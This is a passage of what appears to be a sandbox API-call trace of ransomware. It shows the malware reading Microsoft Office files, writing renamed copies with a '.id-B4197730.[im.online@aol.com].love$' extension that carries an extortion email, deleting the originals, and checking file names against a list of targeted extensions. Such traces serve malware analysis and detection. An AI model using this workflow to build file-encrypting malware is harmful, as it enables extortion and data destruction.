hTemplateFile=0x0) returned 0x354 [0116.965] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=373) returned 1 [0116.965] CloseHandle (hObject=0x354) returned 1 [0116.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml")) returned 0x220 [0116.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0116.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0116.965] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0116.965] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0116.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0116.966] GetLastError () returned 0x0 [0116.966] ReadFile (in: hFile=0x354, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x175, lpOverlapped=0x0) returned 1 [0116.967] WriteFile (in: hFile=0x374, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0x180, lpOverlapped=0x0) returned 1 [0116.968] ReadFile (in: hFile=0x354, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0116.968] WriteFile (in: hFile=0x374, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0x100, lpOverlapped=0x0) returned 1 [0116.970] SetEndOfFile (hFile=0x374) returned 1 [0116.970] CloseHandle (hObject=0x374) returned 1 [0116.972] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0116.972] SetEndOfFile (hFile=0x354) returned 1 [0116.973] CloseHandle (hObject=0x354) returned 1 [0116.973] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0116.974] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml")) returned 1 [0116.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0116.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0116.974] lstrlenW (lpString=".doc") returned 4 [0116.974] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0116.974] lstrlenW (lpString=".docx") returned 5 [0116.974] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0116.974] lstrlenW (lpString=".pdf") returned 4 [0116.974] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0116.974] lstrlenW (lpString=".xls") returned 4 [0116.974] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0116.974] lstrlenW (lpString=".xlsx") returned 5 [0116.974] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0116.974] lstrlenW (lpString=".ppt") returned 4 [0116.975] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0116.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0116.975] lstrlenW (lpString=".zip") returned 4 [0116.975] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0116.975] lstrlenW (lpString=".rar") returned 4 [0116.975] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0116.975] lstrlenW (lpString=".bz2") returned 4 [0116.975] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0116.975] lstrlenW (lpString=".7z") returned 3 [0116.975] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0116.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0116.975] lstrlenW (lpString=".dbf") returned 4 [0116.975] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0116.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0116.975] lstrlenW (lpString=".1cd") returned 4 [0116.975] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0116.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0116.975] lstrlenW (lpString=".jpg") returned 4 [0116.975] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0116.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0116.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0116.975] lstrlenW (lpString=".doc") returned 4 [0116.975] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0116.975] lstrlenW (lpString=".docx") returned 5 [0116.975] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0116.975] lstrlenW (lpString=".pdf") returned 4 [0116.975] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0116.975] lstrlenW (lpString=".xls") returned 4 [0116.976] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0116.976] lstrlenW (lpString=".xlsx") returned 5 [0116.976] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0116.976] lstrlenW (lpString=".ppt") returned 4 [0116.976] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0116.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0116.976] lstrlenW (lpString=".zip") returned 4 [0116.976] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0116.976] lstrlenW (lpString=".rar") returned 4 [0116.976] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0116.976] lstrlenW (lpString=".bz2") returned 4 [0116.976] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0116.976] lstrlenW (lpString=".7z") returned 3 [0116.976] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0116.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0116.976] lstrlenW (lpString=".dbf") returned 4 [0116.976] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0116.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0116.976] lstrlenW (lpString=".1cd") returned 4 [0116.976] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0116.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0116.976] lstrlenW (lpString=".jpg") returned 4 [0116.976] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0116.977] lstrcmpiW (lpString1=".GIF", lpString2=".love$") returned -1 [0116.977] lstrlenW (lpString="AG00038_.GIF") returned 12 [0116.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0116.977] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=3251) returned 1 [0116.977] CloseHandle (hObject=0x354) returned 1 [0116.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif")) returned 0x220 [0116.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0116.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0116.978] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0116.978] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0116.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0116.978] GetLastError () returned 0x0 [0116.978] ReadFile (in: hFile=0x354, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0xcb3, lpOverlapped=0x0) returned 1 [0116.980] WriteFile (in: hFile=0x374, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xcc0, lpOverlapped=0x0) returned 1 [0116.981] ReadFile (in: hFile=0x354, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0116.981] WriteFile (in: hFile=0x374, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0116.981] SetEndOfFile (hFile=0x374) returned 1 [0116.982] CloseHandle (hObject=0x374) returned 1 [0116.984] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0116.984] SetEndOfFile (hFile=0x354) returned 1 [0116.985] CloseHandle (hObject=0x354) returned 1 [0116.985] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0116.986] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif")) returned 1 [0116.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0116.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0116.986] lstrlenW (lpString=".doc") returned 4 [0116.986] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0116.986] lstrlenW (lpString=".docx") returned 5 [0116.986] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0116.986] lstrlenW (lpString=".pdf") returned 4 [0116.986] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0116.986] lstrlenW (lpString=".xls") returned 4 [0116.986] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0116.986] lstrlenW (lpString=".xlsx") returned 5 [0116.986] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0116.986] lstrlenW (lpString=".ppt") returned 4 [0116.986] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0116.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0116.987] lstrlenW (lpString=".zip") returned 4 [0116.987] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0116.987] lstrlenW (lpString=".rar") returned 4 [0116.987] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0116.987] lstrlenW (lpString=".bz2") returned 4 [0116.987] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0116.987] lstrlenW (lpString=".7z") returned 3 [0116.987] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0116.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0116.987] lstrlenW (lpString=".dbf") returned 4 [0116.987] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0116.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0116.987] lstrlenW (lpString=".1cd") returned 4 [0116.987] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0116.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0116.987] lstrlenW (lpString=".jpg") returned 4 [0116.987] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0116.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0116.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0116.987] lstrlenW (lpString=".doc") returned 4 [0116.987] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0116.987] lstrlenW (lpString=".docx") returned 5 [0116.987] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0116.987] lstrlenW (lpString=".pdf") returned 4 [0116.988] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0116.988] lstrlenW (lpString=".xls") returned 4 [0116.988] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0116.988] lstrlenW (lpString=".xlsx") returned 5 [0116.988] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0116.988] lstrlenW (lpString=".ppt") returned 4 [0116.988] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0116.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0116.988] lstrlenW (lpString=".zip") returned 4 [0116.988] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0116.988] lstrlenW (lpString=".rar") returned 4 [0116.988] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0116.988] lstrlenW (lpString=".bz2") returned 4 [0116.988] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0116.988] lstrlenW (lpString=".7z") returned 3 [0116.988] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0116.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0116.988] lstrlenW (lpString=".dbf") returned 4 [0116.988] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0116.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0116.988] lstrlenW (lpString=".1cd") returned 4 [0116.988] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0116.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0116.988] lstrlenW (lpString=".jpg") returned 4 [0116.988] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0116.989] lstrcmpiW (lpString1=".GIF", lpString2=".love$") returned -1 [0116.989] lstrlenW (lpString="AG00040_.GIF") returned 12 [0116.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0116.989] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=8097) returned 1 [0116.989] CloseHandle (hObject=0x354) returned 1 [0116.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif")) returned 0x220 [0116.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0116.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0116.990] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0116.990] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0116.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0116.990] GetLastError () returned 0x0 [0116.990] ReadFile (in: hFile=0x354, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x1fa1, lpOverlapped=0x0) returned 1 [0116.993] WriteFile (in: hFile=0x374, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0x1fb0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0x1fb0, lpOverlapped=0x0) returned 1 [0116.994] ReadFile (in: hFile=0x354, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0116.994] WriteFile (in: hFile=0x374, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0116.995] SetEndOfFile (hFile=0x374) returned 1 [0116.995] CloseHandle (hObject=0x374) returned 1 [0116.996] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0116.996] SetEndOfFile (hFile=0x354) returned 1 [0116.997] CloseHandle (hObject=0x354) returned 1 [0116.997] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0116.998] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif")) returned 1 [0116.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0116.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0116.998] lstrlenW (lpString=".doc") returned 4 [0116.998] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0116.998] lstrlenW (lpString=".docx") returned 5 [0116.998] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0116.998] lstrlenW (lpString=".pdf") returned 4 [0116.998] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0116.998] lstrlenW (lpString=".xls") returned 4 [0116.998] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0116.998] lstrlenW (lpString=".xlsx") returned 5 [0116.998] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0116.998] lstrlenW (lpString=".ppt") returned 4 [0116.998] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0116.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0116.999] lstrlenW (lpString=".zip") returned 4 [0116.999] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0116.999] lstrlenW (lpString=".rar") returned 4 [0116.999] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0116.999] lstrlenW (lpString=".bz2") returned 4 [0116.999] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0116.999] lstrlenW (lpString=".7z") returned 3 [0116.999] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0116.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0116.999] lstrlenW (lpString=".dbf") returned 4 [0116.999] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0116.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0116.999] lstrlenW (lpString=".1cd") returned 4 [0116.999] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0116.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0116.999] lstrlenW (lpString=".jpg") returned 4 [0116.999] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0116.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0116.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0116.999] lstrlenW (lpString=".doc") returned 4 [0116.999] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0116.999] lstrlenW (lpString=".docx") returned 5 [0116.999] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0116.999] lstrlenW (lpString=".pdf") returned 4 [0116.999] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0116.999] lstrlenW (lpString=".xls") returned 4 [0116.999] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0117.000] lstrlenW (lpString=".xlsx") returned 5 [0117.000] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0117.000] lstrlenW (lpString=".ppt") returned 4 [0117.000] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0117.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0117.000] lstrlenW (lpString=".zip") returned 4 [0117.000] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0117.000] lstrlenW (lpString=".rar") returned 4 [0117.000] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0117.000] lstrlenW (lpString=".bz2") returned 4 [0117.000] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0117.000] lstrlenW (lpString=".7z") returned 3 [0117.000] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0117.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0117.000] lstrlenW (lpString=".dbf") returned 4 [0117.000] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0117.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0117.000] lstrlenW (lpString=".1cd") returned 4 [0117.000] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0117.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0117.000] lstrlenW (lpString=".jpg") returned 4 [0117.000] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0117.000] lstrcmpiW (lpString1=".GIF", lpString2=".love$") returned -1 [0117.000] lstrlenW (lpString="AG00052_.GIF") returned 12 [0117.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0117.059] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=7686) returned 1 [0117.059] CloseHandle (hObject=0x37c) returned 1 [0117.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif")) returned 0x220 [0117.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0117.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 